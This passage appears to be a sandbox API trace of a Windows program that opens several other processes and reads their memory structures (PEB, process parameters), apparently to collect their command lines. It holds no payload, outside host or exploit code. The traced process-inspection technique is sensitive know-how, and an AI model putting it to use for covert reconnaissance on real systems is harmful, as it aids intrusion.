lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.743] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.766] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x464 [0261.766] GetLastError () returned 0x0 [0261.766] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.766] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b18c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.768] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.771] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.771] malloc (_Size=0x9c) returned 0x196ef0fb080 [0261.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0fb080, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb080*, lpNumberOfBytesRead=0x0) returned 1 [0261.772] free (_Block=0x196ef0fb080) [0261.773] CloseHandle (hObject=0x464) returned 1 [0261.774] _ui64tow_s (in: _Value=0xc10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0261.814] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3088") returned 4 [0261.815] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.815] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x464 [0261.838] GetLastError () returned 0x0 [0261.839] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f1c20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18c8, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.840] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.842] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.843] malloc (_Size=0x38) returned 0x196ef0d0b10 [0261.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d0b10, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0b10*, lpNumberOfBytesRead=0x0) returned 1 [0261.843] free (_Block=0x196ef0d0b10) [0261.844] CloseHandle (hObject=0x464) returned 1 [0261.845] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0261.852] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3132") returned 4 [0261.854] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.854] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.899] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x464 [0261.899] GetLastError () returned 0x0 [0261.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x911d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9118c8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.902] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.904] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.904] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.904] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.905] malloc (_Size=0x88) returned 0x196ef100920 [0261.905] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x91194a, lpBuffer=0x196ef100920, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100920*, lpNumberOfBytesRead=0x0) returned 1 [0261.905] free (_Block=0x196ef100920) [0261.906] CloseHandle (hObject=0x464) returned 1 [0261.907] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0261.914] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3180") returned 4 [0261.915] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.915] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x464 [0261.944] GetLastError () returned 0x0 [0261.945] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x711d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7118c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.946] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.948] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.948] malloc (_Size=0x9c) returned 0x196ef0d75f0 [0261.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71195e, lpBuffer=0x196ef0d75f0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d75f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.949] free (_Block=0x196ef0d75f0) [0261.950] CloseHandle (hObject=0x464) returned 1 [0261.951] _ui64tow_s (in: _Value=0xc88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3208") returned 0x0 [0261.957] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3208") returned 4 [0261.958] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.958] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.990] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc88) returned 0x464 [0261.990] GetLastError () returned 0x0 [0261.990] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14ee12a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.991] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.991] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f644003670, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.991] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f6440032b4, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.993] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14ee12a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.994] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f644002c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.994] malloc (_Size=0xda) returned 0x196ef0d4e70 [0261.994] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f64400330a, lpBuffer=0x196ef0d4e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0261.995] free (_Block=0x196ef0d4e70) [0261.995] CloseHandle (hObject=0x464) returned 1 [0261.996] _ui64tow_s (in: _Value=0xca0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0262.001] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3232") returned 4 [0262.002] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.002] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0262.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x464 [0262.034] GetLastError () returned 0x0 [0262.035] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0262.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0262.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0262.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0262.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a18c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0262.037] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0262.038] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0262.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0262.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0262.039] malloc (_Size=0x48) returned 0x196ef0fb720 [0262.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0fb720, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb720*, lpNumberOfBytesRead=0x0) returned 1 [0262.040] free (_Block=0x196ef0fb720) [0262.041] CloseHandle (hObject=0x464) returned 1 [0262.042] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0262.050] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4288") returned 4 [0262.052] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.052] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0262.088] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x464 [0262.088] GetLastError () returned 0x0 [0262.088] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0262.088] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0262.089] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0262.089] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0262.089] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431948, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0262.090] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0262.092] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0262.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0262.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0262.092] malloc (_Size=0x3e) returned 0x196ef0fb950 [0262.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x43197e, lpBuffer=0x196ef0fb950, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb950*, lpNumberOfBytesRead=0x0) returned 1 [0262.093] free (_Block=0x196ef0fb950) [0262.094] CloseHandle (hObject=0x464) returned 1 [0262.094] _ui64tow_s (in: _Value=0xab4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0262.098] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2740") returned 4 [0262.100] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.100] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0262.122] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x464 [0262.122] GetLastError () returned 0x0 [0262.123] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0262.123] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0262.123] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0262.123] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401c90, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0262.124] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4018c8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0262.125] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0262.127] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0262.127] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0262.127] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4012b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0262.127] malloc (_Size=0x64) returned 0x196ef0d0530 [0262.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0530, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0262.128] free (_Block=0x196ef0d0530) [0262.129] CloseHandle (hObject=0x464) returned 1 [0262.130] _ui64tow_s (in: _Value=0x136c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0262.135] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: 